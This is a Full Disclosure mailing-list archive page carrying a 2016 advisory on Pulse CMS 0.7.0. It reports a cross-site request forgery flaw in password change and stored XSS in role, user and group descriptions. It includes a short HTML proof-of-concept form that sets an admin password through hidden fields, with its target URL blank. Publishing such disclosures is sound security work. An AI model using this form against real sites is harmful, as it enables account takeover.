lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 4 Apr 2016 12:10:54 +0800
From: xiong piaox <>
Subject: [FD] Pulse CMS Multiple Vulnerabilities

Pulse CMS Multiple Vulnerabilities


Exploit Title: Multiple Vulnerabilities in pulse 0.7.0 final

Date: 4-01-2016

Vendor Homepage:

Vendor: pulse

Software: Content Management System

Version: version: pulse 0.7.0 final (build r2074)

2、Product Summary


An open source portal solution in Java. pulse delivers a set of
out-of-the-box components, e.g. CMS, shopping, user management.
Moreover pulse is a framework on top of the Servlet API providing easy
to use and easy to extend patterns for creating browser based
applications and websites. Key features: * Cross-platform, implemented
using Java technology. * Completely written using Java 5. * Provides a
framework for quick development of own applications. * Is delivered
with a host of out-of-the-box applications: CMS, Shop, Surveys,
Filters and many more. * A WebDAV based virtual file system for
digital asset management. * Mature user and role management *
Easy-to-use administration interface based on AJAX (using Ext JS) *
Built for internationalisation * Flexible templating with XSLT
2.0/XPath 2.0



1)、CSRF Vulnerability
Change Password exists csrf Vulnerability :

  <!-- CSRF PoC -->


    <form action=""

      <input type="hidden" name="id" value="1" />

      <input type="hidden" name="pwd" value="admin888" />

      <input type="hidden" name="cnf" value="admin888" />

      <input type="submit" value="Submit request" />




2)、Stored XSS Vulnerability

Stored Xss vulnerability exists in the description of the Roles
overview、Users overview、Groups overview.

 4、Discovered by


piaox xiong –

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists